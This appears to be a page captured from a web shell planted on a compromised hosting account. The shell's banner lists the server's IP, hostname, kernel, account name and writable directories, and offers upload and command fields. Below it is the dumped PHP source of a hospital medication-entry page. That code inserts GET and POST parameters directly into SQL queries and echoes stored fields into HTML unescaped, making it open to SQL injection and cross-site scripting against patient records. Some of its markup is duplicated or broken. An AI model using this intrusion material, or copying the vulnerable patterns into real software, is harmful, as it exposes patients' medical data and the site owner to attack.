Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.145.85.29
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/addmedicine42023.php
<?php
session_start();
include("dbconnection.php");
require_once('../DBManager.php');
require_once("../LoginManager.php");
require_once('../patientmanager.php');
include("dashboarddocument.php");

?>

<!DOCTYPE html>
<html>  <head>
    <script>
    function selection(){
	var selected=document.getElementById("select1").value;
  if(selected==0){
  	document.getElementById("input1").removeAttribute("hidden");
  }else{
  	//elsewhere actions
  }
}
</script>
   
    <title>Title of the document</title>
    <style>
      .modal {
        display: none;
        position: fixed;
        z-index: 8;
        left: 5%;
         right: 5%;
        top: 10%;
        width: 100%;
        height: 100%;
        overflow: auto;
        background-color: rgb(0, 0, 0);
        background-color: rgba(0, 0, 0, 0.4);
      }
      .modal-content {
        margin: 50px auto;
        border: 1px solid #999;
        width: 60%;
      }
      h2,p {
        margin: 0 0 20px;
        font-weight: 400;
  
      }     
     .form1 {
        padding: 25px;
        margin: 25px;
        box-shadow: 0 2px 5px #f5f5f5;
        background: #eee;
      }
      input,
      textarea, select {
        width: 100%;
        padding: 6px;
        margin-bottom: 20px;
        border: 1px solid #1c87c9;
        outline: none;
      }
      .contact-form button {
        width: 100%;
        padding: 10px;
        border: none;
        background: #1c87c9;
        font-size: 16px;
        font-weight: 400;
        color: #fff;
      }
      button:hover {
        background: #2371a0;
      }
      .close {
        color: #000000;
        float: right;
        font-size: 58px;
        font-weight: bold;
      }
      .close:hover,
      .close:focus {
        color: black;
        text-decoration: none;
        cursor: pointer;
      }
      button.button {
        display: inline-block;
       
        border-bottom: #02274a 1px solid;
     
        font-size: 19px;
        cursor: pointer;
      }
      
      button.button:hover {
    
        border-bottom: #a99567 1px solid;
        color: #a99567;
      }

 
    </style>
     <script src="https://code.jquery.com/jquery-1.12.4.js"></script>
  <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>
  <script>
  $( function() {
    $.widget( "custom.combobox", {
      _create: function() {
        this.wrapper = $( "<span>" )
          .addClass( "custom-combobox" )
          .insertAfter( this.element );
 
        this.element.hide();
        this._createAutocomplete();
        this._createShowAllButton();
      },
 
      _createAutocomplete: function() {
        var selected = this.element.children( ":selected" ),
          value = selected.val() ? selected.text() : "";
 
        this.input = $( "<input>" )
          .appendTo( this.wrapper )
          .val( value )
          .attr( "title", "" )
          .addClass( "custom-combobox-input ui-widget ui-widget-content ui-state-default ui-corner-left" )
          .autocomplete({
            delay: 0,
            minLength: 0,
            source: $.proxy( this, "_source" )
          })
          .tooltip({
            classes: {
              "ui-tooltip": "ui-state-highlight"
            }
          });
 
        this._on( this.input, {
          autocompleteselect: function( event, ui ) {
            ui.item.option.selected = true;
            this._trigger( "select", event, {
              item: ui.item.option
            });
          },
 
          autocompletechange: "_removeIfInvalid"
        });
      },
 
      _createShowAllButton: function() {
        var input = this.input,
          wasOpen = false;
 
        $( "<a>" )
          .attr( "tabIndex", -1 )
          .attr( "title", "Show All Items" )
          .tooltip()
          .appendTo( this.wrapper )
          .button({
            icons: {
              primary: "ui-icon-triangle-1-s"
            },
            text: false
          })
          .removeClass( "ui-corner-all" )
          .addClass( "custom-combobox-toggle ui-corner-right" )
          .on( "mousedown", function() {
            wasOpen = input.autocomplete( "widget" ).is( ":visible" );
          })
          .on( "click", function() {
            input.trigger( "focus" );
 
            // Close if already visible
            if ( wasOpen ) {
              return;
            }
 
            // Pass empty string as value to search for, displaying all results
            input.autocomplete( "search", "" );
          });
      },
 
      _source: function( request, response ) {
        var matcher = new RegExp( $.ui.autocomplete.escapeRegex(request.term), "i" );
        response( this.element.children( "option" ).map(function() {
          var text = $( this ).text();
          if ( this.value && ( !request.term || matcher.test(text) ) )
            return {
              label: text,
              value: text,
              option: this
            };
        }) );
      },
 
      _removeIfInvalid: function( event, ui ) {
 
        // Selected an item, nothing to do
        if ( ui.item ) {
          return;
        }
 
        // Search for a match (case-insensitive)
        var value = this.input.val(),
          valueLowerCase = value.toLowerCase(),
          valid = false;
        this.element.children( "option" ).each(function() {
          if ( $( this ).text().toLowerCase() === valueLowerCase ) {
            this.selected = valid = true;
            return false;
          }
        });
 
        // Found a match, nothing to do
        if ( valid ) {
          return;
        }
 
        // Remove invalid value
        this.input
          .val( "" )
          .attr( "title", value + " didn't match any item" )
          .tooltip( "open" );
        this.element.val( "" );
        this._delay(function() {
          this.input.tooltip( "close" ).attr( "title", "" );
        }, 2500 );
        this.input.autocomplete( "instance" ).term = "";
      },
 
      _destroy: function() {
        this.wrapper.remove();
        this.element.show();
      }
    });
 
    $( "#combobox" ).combobox();
    $( "#toggle" ).on( "click", function() {
      $( "#combobox" ).toggle();
    });
  } );
  </script>
  </head>
  <body>
      
      
      <?php

$sql ="SELECT * FROM addaspatient WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
    echo"<input type='hidden' name='drid' value='$rs[Admitted_Under]'>";
$sql1 ="SELECT * FROM opdslip WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql1 = mysqli_query($con,$sql1);
while($rs1 = mysqli_fetch_array($qsql1))
{ 
    echo"<input type='hidden' name='treatmentid' value='$rs1[tratment]'>";
}
}
?>

   
<?php
if(isset($_POST[opdmedicine]))
{
		PatientManager::MedicineOPD("$_GET[prescriptionid]","$_GET[patientid]","$_POST[DRUGS]","$_POST[Dose]","$_POST[Route]","$_POST[Frequency]","$_POST[duration]","$_POST[potential]","$_POST[poa]","$_POST[status]","$_POST[Action]","$_POST[availability]","$_POST[batchno]","$_POST[st0]","$_POST[st1]","$_POST[st2]","$_POST[st3]","$_POST[st4]","$_POST[st5]","$_POST[drid]","$_POST[treatmentid]","$_POST[entered_by]");
	 }
	 if(isset($_POST[status]))
{ 
$sql ="UPDATE medicinede SET status='$_POST[status]' WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND id='$_GET[id]'";
if($qsql = mysqli_query($con,$sql))
		{
    echo "<script>
 window.history.go(-1)</script>";
     } 
    
}


?>
<!DOCTYPE html>
<html>  <head>
 
  </head>
   <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
  <body>
       <p align="right">
      <button class="button" style='height:40px;width:200px' data-modal="modalmedi"> Add Medication</button>
    </p> <table id='example2' class='table table-bordered table-hover'>
    
              <tr><th>Medicine<br>
               Name</th><th>Route</th><th>Frequency</th><th>Duration</th><th>Action</th></tr>
				
      
                  </thead>
<?php

$sql ="SELECT * FROM medicinede WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]' AND status!='Remove'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
echo" <tr><td>";
 echo "
 ";
 if (is_numeric($rs[DRUGS]))
{
$sql1 ="SELECT * FROM medicine_stok WHERE medicine_id='$rs[DRUGS]'";
$qsql1 = mysqli_query($con,$sql1);
while($rs1 = mysqli_fetch_array($qsql1))
echo"$rs1[DRUGS_name]";
}
else
{
    echo"$rs[DRUGS]";
    }
echo"</td><td>$rs[Route]</td><td>";
	   
switch ($rs[Frequency]) {
  case '01':
    echo "OD (Once Daily)";
    break;
      case '2':
    echo "BID/b.i.d. (twice a day)";
    break;
     case '3':
    echo "TID/t.id. (three times a day)";
    break;
     case '04':
    echo "QID/q.i.d. (four times a day)";
    break;
     case '1':
    echo "QHS (every bedtime)";
    break;
    
     case '6':
    echo "Q4h (every 4 hours)";
    break;
    
     case '4':
    echo "Q4-6h (every 4 to 6 hours)";
    break;
    
     case '0.143':
    echo "QWK (every week)";
    break;
    
        default:
    echo "";
} echo"</td><td>$rs[duration]   ";
	   
switch ($rs[durationselect]) {
  case '1':
    echo "Days";
    break;
      case '7':
    echo "Week";
    break;
case '28':
    echo "Month";
    break;

        default:
    echo "";
}
echo"<br>
<b>Note :</b>$rs[potential]</td>";	

echo " <td><div class='btn-group'>
	  <button type='button' class='btn btn-default dropdown-toggle' data-toggle='dropdown' aria-haspopup='true' aria-expanded='false'>
	    Action <span class='caret'></span>
	  </button>
	  <ul class='dropdown-menu'><li><input type='submit' name='' Value='Yes'><a href='edit_hospitalvendor.php?vid=$rs[vid]'> <i class='glyphicon glyphicon-edit'></i> Edit</a></li>
	  
	  <li><a href='add_hospitalvendor.php?delid=$rs[vid]'> <i class='glyphicon glyphicon-edit'></i> Remove</a></li></ul>
	</div>
             </td>
     </tr>";
    
}


?>  
</table>
<br><br><br><br>
 <h2 Align="center">Frequency Prescribed Medication </h2>
 
   <form name="opdmedicine" method="post">
  
				
	
          <table id='example2' class='table table-bordered table-hover'>
               <tr><th>Medicine<br>
               Name</th><th>Route</th><th>Frequency</th><th>Duration</th><th>Action</th></tr><?php
     include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');  
$sql ="SELECT * FROM diagnosis_timiline WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
		{
		 
$sql1 ="SELECT * FROM addaspatient WHERE prescriptionid='$rs[prescriptionid]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($rsr = mysqli_fetch_array($qsql1))
		{
$sql2 ="SELECT * FROM frquencytracker WHERE surgery='$rs[Surgery]' AND drid='$rsr[Admitted_Under]'";
$qsql2 = mysqli_query($con,$sql2);
while($rs2 = mysqli_fetch_array($qsql2))
		{
		       
$sql3 ="SELECT * FROM frequency WHERE surgeryid='$rs2[surgeryid]'";
$qsql3 = mysqli_query($con,$sql3);
while($rs3 = mysqli_fetch_array($qsql3))
		{
		 
$sql4 ="SELECT * FROM medicine_stok WHERE medicine_id='$rs3[typeid]' ";
$qsql4 = mysqli_query($con,$sql4);
while($rs4 = mysqli_fetch_array($qsql4))
{
     echo" <tr style='background-color:#00ff00'>
      <td><input type='hidden' name='DRUGS' value='$rs4[medicine_id]'>$rs4[DRUGS_name]-$rs4[Dose]<input type='hidden' name='Dose' value='$rs4[Dose]'><br>($rs4[Contain])</td><td><input type='hidden' name='Route' value='$rs3[route]'>$rs3[route]<input type='hidden' name='Frequency' value='$rs3[frq]'></td><td>";
	   
switch ($rs3[frq]) {
  case '01':
    echo "OD (Once Daily)";
    break;
      case '2':
    echo "BID/b.i.d. (twice a day)";
    break;
     case '3':
    echo "TID/t.id. (three times a day)";
    break;
     case '04':
    echo "QID/q.i.d. (four times a day)";
    break;
     case '1':
    echo "QHS (every bedtime)";
    break;
    
     case '6':
    echo "Q4h (every 4 hours)";
    break;
    
     case '4':
    echo "Q4-6h (every 4 to 6 hours)";
    break;
    
     case '0.143':
    echo "QWK (every week)";
    break;
    
        default:
    echo "";
} echo"</td><td><input type='hidden' name='duration' value='$rs3[duration]'>$rs3[duration] <b>Days</b>";
	   
switch ($rs3[duration]) {
  case '1':
    echo "Days";
    break;
      case '7':
    echo "Week";
    break;
case '28':
    echo "Month";
    break;

        default:
    echo "";
}
echo"<br>
<b>Note :</b><input type='hidden' name='potential' value='$rs3[potential]'>$rs3[potential]</td>";
     echo " <td><div class='btn-group'>
	  <button type='button' class='btn btn-default dropdown-toggle' data-toggle='dropdown' aria-haspopup='true' aria-expanded='false'>
	    Action <span class='caret'></span>
	  </button>
	  <ul class='dropdown-menu'><li><input type='submit' name='' Value='Yes'><a href='edit_hospitalvendor.php?vid=$rs[vid]'> <i class='glyphicon glyphicon-edit'></i> Edit</a></li>
	  
	  <li><a href='add_hospitalvendor.php?delid=$rs[vid]'> <i class='glyphicon glyphicon-edit'></i> Remove</a></li></ul>
	</div>
             </td>
     </tr>";
    
}
}
	}
		
		}
		}
		?>
		      
</form>
 </tbody>
  <tfoot>
          </tfoot>
        </table>

    <div id="modalmedi" class="modal">
      <div class="modal-content">
        <div class="contact-form">
          <a class="close">&times;</a>
                   <form class='form1' name="opdmedicine" method="post">

<?php

$sql ="SELECT * FROM addaspatient WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
    echo"<input type='hidden' name='drid' value='$rs[Admitted_Under]'>";
$sql1 ="SELECT * FROM opdslip WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql1 = mysqli_query($con,$sql1);
while($rs1 = mysqli_fetch_array($qsql1))
{ 
    echo"<input type='hidden' name='treatmentid' value='$rs1[tratment]'>";
}
}
?>

<label>Drug Name</label> <input onkeyup="this.value = this.value.toUpperCase();" onchange="drmdiload(this.value)"  name='DRUGS' type='text' list='DRUGS'>
<datalist name='DRUGS' id='DRUGS'>
 
				<?php
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
$sql ="SELECT * FROM medicine_stok WHERE admin_id='$re[entered_by]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
     echo " 
     <option value='$rs[medicine_id]'>$rs[DRUGS_name]-$rs[Dose]</option>
                   
          
          ";
}
}
?> 
  </datalist>	
<div id='divmedidr'>
						<label>Dose</label>
				
				<input type="text" placeholder="In mg" name="Dose" id="dose" class="form-control" />
						<label>Cotegory</label>
					<select onchange="cotegory(this.value)" class="form-control" name="Category" id="Category">
    <option value="" disabled selected>Category </option>
    <option value="Injectable">Injectable </option>
      <option value="IV Fluid">IV Fluid </option>
    <option value="Capsule">Capsule </option>
     <option value="Tablet">Tablet </option>
         <option value="Syrup">Syrup </option>
             <option value="Powder">Powder </option>
                         <option value="Ointment">Ointment</option>
                           <option value="Drop">Drop</option>
                                <option value="Solution">Solution</option>
                                    <option value="Patch">Patch</option>
    </select>
				</div>
			<label>Route</label>
				<select name="Route" id="Route" name="Route">
    <option value="" disabled selected>Route  </option>
    <option value="Orally">Orally</option>
    <option value="IV/IM">IV/IM</option>
    <option value="Sublingually/ Buccally">Sublingually/ Buccally</option>
    <option value="Vaginally">Vaginally</option>
    <option value="Ocular/Otic">Ocular/Otic </option>
    <option value="Nasally">Nasally</option>
    <option value="Inhalation/Nebulization">Inhalation/Nebulization</option>
    <option value="cutaneously/systemic">cutaneously/systemic</option>
    <option value="transdermally">transdermally</option>
	</select>
				<label>	Frequency</label>
				<select class="form-control"name="Frequency" id="Frequency" class="form-control">
    <option value="" disabled selected>Frequency  </option>
    <option value="01">OD (Once Daily)</option>
    <option value="2">BID/b.i.d. (twice a day)</option>
    <option value="3">TID/t.id. (three times a day)</option>
    <option value="04">QID/q.i.d. (four times a day)</option>
    <option value="1"> QHS (every bedtime) </option>
    <option value="6">Q4h (every 4 hours)</option>
    <option value="4">Q4-6h (every 4 to 6 hours)</option>
    <option value="0.143">QWK (every week)</option>
	</select>
	
		     	<div>
	    <label>Duration</label>
	    <input type="number" placeholder='In Days' name="duration">
	    	</div>
	
	    	    <label>Note</label>
	    <input type="text" placeholder="Instruction, Potential side effects, Food Intake" name="potential">
<input type="hidden" name="status" value="Active">
<input type="hidden" name="poa" value="Opd_Medicine" >
	
       <input type="submit" value="Add" name="opdmedicine">
      </form>
         
   </div>   </div>   </div>
   <table id="example2"  id ="demo" class="table table-bordered table-hover">
<?php
			$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                    
          
     ";
}
?>  
   </tbody>
</table> 
            <script>
      let modalBtns = [...document.querySelectorAll(".button")];
      modalBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.getAttribute('data-modal');
          document.getElementById(modal)
            .style.display = "block";
        }
      });
      let closeBtns = [...document.querySelectorAll(".close")];
      closeBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.closest('.modal');
          modal.style.display = "none";
        }
      });
      window.onclick = function(event) {
        if(event.target.className === "modal") {
          event.target.style.display = "none";
        }
      }
    </script>
    <script>
 function drmdiload(drmeid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divmedidr").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loaddrug.php?drmeid="+drmeid,true);
        xmlhttp.send();
}
            
     
</script>
  </body>
</html>  
<script>tableBody = $("table tbody");
                tableBody.append(markup);
                lineNo++;
            });
        }); 
    </script>
    </table>
     <span style="background-color:#eef202"><b>Not Given</b></span> <span style="background-color:#05f76a"><b>Given</b></span>
   
      
      </form>
       
   </div>  
      </div>   </div>   </div>
   <table id="example2"  id ="demo" class="table table-bordered table-hover">
<?php
			$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                    
          
     ";
}
?>  
   </tbody>
</table> 
            <script>
      let modalBtns = [...document.querySelectorAll(".button")];
      modalBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.getAttribute('data-modal');
          document.getElementById(modal)
            .style.display = "block";
        }
      });
      let closeBtns = [...document.querySelectorAll(".close")];
      closeBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.closest('.modal');
          modal.style.display = "none";
        }
      });
      window.onclick = function(event) {
        if(event.target.className === "modal") {
          event.target.style.display = "none";
        }
      }
    </script>
    <script>
 function drmdiload(drmeid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divmedidr").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loaddrug.php?drmeid="+drmeid,true);
        xmlhttp.send();
}
            
     
</script>
  </body>
</html>

Anon7 - 2022
AnonSec Team